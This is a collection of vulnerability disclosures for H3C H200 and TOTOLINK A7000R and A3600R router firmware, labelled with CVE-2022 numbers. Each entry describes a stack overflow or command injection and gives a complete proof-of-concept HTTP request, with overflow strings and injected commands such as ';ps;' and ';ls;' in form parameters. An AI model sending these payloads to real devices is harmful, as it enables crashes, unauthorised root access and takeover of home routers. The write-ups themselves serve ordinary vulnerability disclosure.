H3C H200 H200V100R004 was discovered to contain a stack overflow via the function SetAP5GWifiById.

**H3C H200\[H200-EI\] (H200V100R004) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202009/1345678\_30005\_0.htm

**Product Information**

H3C H200\[H200-EI\] H200V100R004, the latest version of simulation overview：

**Vulnerability details**

The H3C H200\[H200-EI\] (H200V100R004) was found to have a stack overflow vulnerability in the SetAP5GWifiById function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the SetAP5GWifiById function,V5(the valueparam) we entered is formatted using the sscanf function and in the form of %[^;]. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V8, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.0.124:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: https://121.226.152.63:8443/router_password_mobile.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 553
    Origin: https://192.168.0.124:80
    DNT: 1
    Connection: close
    Cookie: JSESSIONID=5c31d502
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    CMD=SetAP5GWifiById&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
    

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell.

CVE-2022-37088: vuln/H3C/H200/4 at main · Darry-lang1/vuln

H3C H200 H200V100R004 was discovered to contain a stack overflow via the function EditMacList.

**H3C H200\[H200-EI\] (H200V100R004) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202009/1345678\_30005\_0.htm

**Product Information**

H3C H200\[H200-EI\] H200V100R004, the latest version of simulation overview：

**Vulnerability details**

The H3C H200\[H200-EI\] (H200V100R004) was found to have a stack overflow vulnerability in the EditMacList function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the EditMacList function,V12(the valueparam) we entered is formatted using the sscanf function and in the form of %[^;];. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V19, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.0.124:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: https://121.226.152.63:8443/router_password_mobile.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 553
    Origin: https://192.168.0.124:80
    DNT: 1
    Connection: close
    Cookie: JSESSIONID=5c31d502
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    CMD=EditMacList&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
    

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell.

CVE-2022-37089: vuln/H3C/H200/2 at main · Darry-lang1/vuln

H3C H200 H200V100R004 was discovered to contain a stack overflow via the function Edit_BasicSSID.

**H3C H200\[H200-EI\] (H200V100R004) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202009/1345678\_30005\_0.htm

**Product Information**

H3C H200\[H200-EI\] H200V100R004, the latest version of simulation overview：

**Vulnerability details**

The H3C H200\[H200-EI\] (H200V100R004) was found to have a stack overflow vulnerability in the Edit\_BasicSSID function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the Edit_BasicSSID function,V33(the valueparam) we entered is formatted using the sscanf function and in the form of %[^;]. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V34, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.0.124:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: https://121.226.152.63:8443/router_password_mobile.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 553
    Origin: https://192.168.0.124:80
    DNT: 1
    Connection: close
    Cookie: JSESSIONID=5c31d502
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    CMD=Edit_BasicSSID&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
    

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell.

CVE-2022-37090: vuln/H3C/H200/8 at main · Darry-lang1/vuln

TOTOLINK A7000R V9.1.0u.6115_B20201022 was discovered to contain a stack overflow via the command parameter at setting/setTracerouteCfg.

**TOTOLink A7000R V9.1.0u.6115\_B20201022 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： https://www.totolink.net/home/menu/detail/menu\_listtpl/download/id/171/ids/36.html

**Product Information**

TOTOLink A7000R V9.1.0u.6115\_B20201022 router, the latest version of simulation overview：

**Vulnerability details**

Var is formatted into V6 through sprintf function, and Var is the value of command we enter. The size of the format string is not limited, resulting in stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 561
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"topicurl": "setting/setTracerouteCfg","command": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
    

The above figure shows the POC attack effect

As shown in the figure above, we can hijack PC registers.

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-37080: vuln/TOTOLINK/A7000R/8 at main · Darry-lang1/vuln

TOTOLINK A7000R V9.1.0u.6115_B20201022 was discovered to contain a command injection vulnerability via the command parameter at setting/setTracerouteCfg.

**TOTOLink A7000R V9.1.0u.6115\_B20201022 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： https://www.totolink.net/home/menu/detail/menu\_listtpl/download/id/171/ids/36.html

**Product Information**

TOTOLink A7000R V9.1.0u.6115\_B20201022 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK A7000R (V9.1.0u.6115\_B20201022) was found to contain a command insertion vulnerability in setTracerouteCfg.This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.

Format Var into V6 using sprintf function and pass in dosystem function.

The dosystem function is finally found to be implemented in this file by string matching.

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 52
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"command":";ps;","num":"1","topicurl":"setTracerouteCfg"}
    

The above figure shows the POC attack effect

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-37081: vuln/TOTOLINK/A7000R/2 at main · Darry-lang1/vuln

TOTOLINK A7000R V9.1.0u.6115_B20201022 was discovered to contain a command injection vulnerability via the host_time parameter at the function NTPSyncWithHost.

**TOTOLink A7000R V9.1.0u.6115\_B20201022 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： https://www.totolink.net/home/menu/detail/menu\_listtpl/download/id/171/ids/36.html

**Product Information**

TOTOLink A7000R V9.1.0u.6115\_B20201022 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK A7000R (V9.1.0u.6115\_B20201022) was found to contain a command insertion vulnerability in NTPSyncWithHost.This vulnerability allows an attacker to execute arbitrary commands through the "host\_time" parameter.

Var passes directly into the dosystem function.

The dosystem function is finally found to be implemented in this file by string matching.

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 52
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"host_time":"2022-07-21 20:12:43';ps;'","topicurl":"NTPSyncWithHost"}
    

The above figure shows the POC attack effect

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-37082: vuln/TOTOLINK/A7000R/3 at main · Darry-lang1/vuln

TOTOLINK A7000R V9.1.0u.6115_B20201022 was discovered to contain a command injection vulnerability via the ip parameter at the function setDiagnosisCfg.

**TOTOLink A7000R V9.1.0u.6115\_B20201022 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： https://www.totolink.net/home/menu/detail/menu\_listtpl/download/id/171/ids/36.html

**Product Information**

TOTOLink A7000R V9.1.0u.6115\_B20201022 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK A7000R (V9.1.0u.6115\_B20201022) was found to contain a command insertion vulnerability in setDiagnosisCfg.This vulnerability allows an attacker to execute arbitrary commands through the "ip" parameter.

Format Var into V6 using sprintf function and pass in dosystem function.

The dosystem function is finally found to be implemented in this file by string matching.

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 52
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"ip":";ps;","num":"1","topicurl":"setDiagnosisCfg"}
    

The above figure shows the POC attack effect

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-37083: vuln/TOTOLINK/A7000R/1 at main · Darry-lang1/vuln

TOTOLINK A7000R V9.1.0u.6115_B20201022 was discovered to contain a stack overflow via the pppoeUser parameter.

**TOTOLink A7000R V9.1.0u.6115\_B20201022 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： https://www.totolink.net/home/menu/detail/menu\_listtpl/download/id/171/ids/36.html

**Product Information**

TOTOLink A7000R V9.1.0u.6115\_B20201022 router, the latest version of simulation overview：

**Vulnerability details**

V12 is formatted into V67 through sprintf function, and V12 is the value of pppoeUser we enter. The size of the format string is not limited, resulting in stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 608
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Cookie: SESSION_ID=2:1658224702:2
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"pppoeUser":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","proto":"3","pppoeSpecType":"1","opmode":"br","topicurl":"setting\setOpModeCfg"}
    

The above figure shows the POC attack effect

As shown in the figure above, we can hijack PC registers.

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-37077: vuln/TOTOLINK/A7000R/9 at main · Darry-lang1/vuln

TOTOLINK A7000R V9.1.0u.6115_B20201022 was discovered to contain a stack overflow via the sPort parameter at the addEffect function.

**TOTOLink A7000R V9.1.0u.6115\_B20201022 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： https://www.totolink.net/home/menu/detail/menu\_listtpl/download/id/171/ids/36.html

**Product Information**

TOTOLink A7000R V9.1.0u.6115\_B20201022 router, the latest version of simulation overview：

**Vulnerability details**

V8 is formatted into V16 through sprintf function, and V8 is the value of sPort we enter. The size of the format string is not limited, resulting in stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 584
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Cookie: SESSION_ID=2:1658224702:2
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"topicurl": "setting/setIpPortFilterRules","addEffect":"1","sPort": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
    

The above figure shows the POC attack effect

As shown in the figure above, we can hijack PC registers.

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-37084: vuln/TOTOLINK/A7000R/10 at main · Darry-lang1/vuln

TOTOLink A3600R V4.1.2cu.5182_B20201102 was discovered to contain a command injection vulnerability via the username parameter in /cstecgi.cgi.

Permalink

**TOTOLink A3600R V4.1.2cu.5182\_B20201102 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=63&ids=36

**Product Information**

TOTOLink A3600R V4.1.2cu.5182\_B20201102 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK A3600R was found to contain a command insertion vulnerability in cstecgi.This vulnerability allows an attacker to execute arbitrary commands through the "username" parameter.

We can see that the operating system will get "username" without filtering and inserting it into the strings "openvpn cert build\_user" and "gz". Therefore, if we can control "username", it can be a command injection.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi?exportOvpn=&type=user&username=;ls;&filetype=gz HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.0.1/login.html
    Content-Length: 0
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    

The above figure shows the POC attack effect

Tag

#js